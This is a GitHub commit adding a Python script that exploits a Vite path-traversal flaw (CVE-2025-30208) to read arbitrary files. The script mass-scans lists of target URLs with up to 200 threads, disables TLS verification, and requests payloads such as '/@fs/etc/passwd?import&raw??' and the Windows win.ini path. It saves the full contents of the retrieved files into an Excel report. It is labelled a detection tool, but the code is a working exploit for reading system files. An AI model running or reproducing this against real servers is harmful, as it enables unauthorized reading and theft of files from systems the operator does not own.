Create Vite-CVE-2025-30208-ReadAnyFile.py

CVE-2025-30208动态检测
This commit is contained in:
iSee857 2025-03-27 14:23:41 +08:00 committed by GitHub
commit dbddfee5f2
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,226 @@
import requests
import argparse
import urllib3
import concurrent.futures
import threading
from openpyxl import Workbook
from openpyxl.styles import PatternFill, Alignment
from openpyxl.utils import get_column_letter
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
COLORS = {
"GREEN": '\033[92m',
"RED": '\033[91m',
"YELLOW": '\033[93m',
"RESET": '\033[0m'
}
result_lock = threading.Lock()
global_results = []
EXCEL_STYLES = {
"SUCCESS": PatternFill(start_color='C6EFCE', end_color='C6EFCE', fill_type='solid'),
"WARNING": PatternFill(start_color='FFEB9C', end_color='FFEB9C', fill_type='solid'),
"FAIL": PatternFill(start_color='FFC7CE', end_color='FFC7CE', fill_type='solid'),
"ERROR": PatternFill(start_color='FFD700', end_color='FFD700', fill_type='solid')
}
def parse_payload(payload_str):
if '??' in payload_str:
# 使用rpartition确保只分割最后一个??
path_part, sep, indicator_part = payload_str.rpartition('??')
return (f"{path_part}{sep}", indicator_part.strip()) # 保留原始分隔符
return (payload_str.strip(), "")
def check_url(target, payload, success_indicator, proxy):
full_url = target.rstrip('/') + payload
result = {
"url": full_url,
"status": "PENDING",
"status_code": 0,
"indicator": success_indicator,
"content": "",
"error": ""
}
try:
proxies = {"http": proxy, "https": proxy} if proxy else None
response = requests.get(
full_url,
timeout=10,
verify=False,
proxies=proxies,
allow_redirects=False
)
result["status_code"] = response.status_code
result["content"] = response.text # 保留完整响应内容
if response.status_code == 200:
if success_indicator:
if success_indicator in response.text:
result["status"] = "SUCCESS"
else:
result["status"] = "WARNING" # 200但未匹配标识
else:
result["status"] = "SUCCESS" # 200且无标识要求
else:
result["status"] = "FAIL"
except Exception as e:
result["status"] = "ERROR"
result["error"] = str(e)
return result
def process_result(result):
status_colors = {
"SUCCESS": COLORS["GREEN"],
"WARNING": COLORS["YELLOW"],
"FAIL": COLORS["RED"],
"ERROR": COLORS["YELLOW"]
}
status_msgs = {
"SUCCESS": "检测成功(存在漏洞特征)",
"WARNING": "检测成功但未匹配标识(需人工确认)",
"FAIL": "请求失败",
"ERROR": "请求错误"
}
color = status_colors.get(result["status"], COLORS["RESET"])
status_msg = status_msgs.get(result["status"], "未知状态")
output = [
f"{color}[{result['status']}]{COLORS['RESET']}",
f"完整请求URL: {result['url']}",
f"状态码: {result['status_code']}",
f"匹配标识: {result['indicator'] or ''}"
]
if result["status_code"] == 200:
content_preview = result["content"][:1000] # 显示前1000字符
if len(result["content"]) > 1000:
content_preview += "\n...(内容已截断,完整内容见报告)"
output.append(f"响应内容预览:\n{content_preview}")
output.append("----------------------------------------")
print("\n".join(output))
with result_lock:
global_results.append({
**result,
"content": result["content"][:50000] # Excel中保留5万字符
})
def export_to_excel(filename):
wb = Workbook()
ws = wb.active
ws.title = "检测结果"
headers = [
"目标URL", "检测路径", "状态",
"状态码", "匹配标识", "响应内容", "错误信息"
]
for col, header in enumerate(headers, 1):
ws.cell(row=1, column=col, value=header)
ws.column_dimensions[get_column_letter(col)].width = 30
for row, result in enumerate(global_results, 2):
ws.cell(row=row, column=1, value=result["url"])
ws.cell(row=row, column=2, value=result["url"].replace(result["url"].split('//')[0]+'//'+result["url"].split('//')[1].split('/')[0], '')) # 显示相对路径
ws.cell(row=row, column=3, value=result["status"])
ws.cell(row=row, column=4, value=result["status_code"])
ws.cell(row=row, column=5, value=result["indicator"])
ws.cell(row=row, column=6, value=result["content"])
ws.cell(row=row, column=7, value=result["error"])
fill = EXCEL_STYLES.get(result["status"], None)
alignment = Alignment(wrap_text=True)
for col in range(1, 8):
ws.cell(row=row, column=col).fill = fill if fill else PatternFill()
ws.cell(row=row, column=col).alignment = alignment
wb.save(filename)
print(f"\n{COLORS['GREEN']}[+] 检测结果已保存到 {filename}{COLORS['RESET']}")
def main():
parser = argparse.ArgumentParser(description="Vite路径遍历漏洞检测工具 Author:iSee857", formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-f", "--file", help="包含目标URL的文件")
parser.add_argument("-u", "--url", help="单个目标URL")
parser.add_argument("-p", "--payload", action="append",
help="""自定义检测路径(支持两种格式):
1. 带检测标识/path??indicator
2. 仅路径/path?param=1??
示例
-p "/@fs/C://windows/win.ini?import&raw??"
-p "/@fs/etc/passwd?import&raw??
""")
parser.add_argument("--proxy", help="代理服务器地址http://127.0.0.1:8080")
parser.add_argument("-o", "--output", default="results.xlsx",
help="输出文件名默认results.xlsx")
parser.add_argument("-t", "--threads", type=int, default=50,
help="并发线程数量默认50范围1-200")
args = parser.parse_args()
if not args.url and not args.file:
parser.error("必须指定 -u/--url 或 -f/--file 参数")
if args.threads < 1 or args.threads > 200:
parser.error("线程数必须在1-200之间")
# 初始化检测规则
if args.payload:
payloads = [parse_payload(p) for p in args.payload]
else:
payloads = [
("/@fs/C:/windows/win.ini?import&raw??", "fonts"),
("/@fs/etc/passwd?import&raw??", "root:x")
]
# 准备目标列表
targets = []
if args.url:
targets.append(args.url.rstrip('/'))
elif args.file:
with open(args.file) as f:
targets = [line.strip().rstrip('/') for line in f if line.strip()]
# 启动多线程检测
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for target in targets:
for path, indicator in payloads:
futures.append(
executor.submit(
check_url,
target,
path,
indicator,
args.proxy
)
)
for future in concurrent.futures.as_completed(futures):
process_result(future.result())
# 导出结果
if global_results:
export_to_excel(args.output)
else:
print(f"{COLORS['YELLOW']}[!] 未发现有效检测结果{COLORS['RESET']}")
if __name__ == "__main__":
main()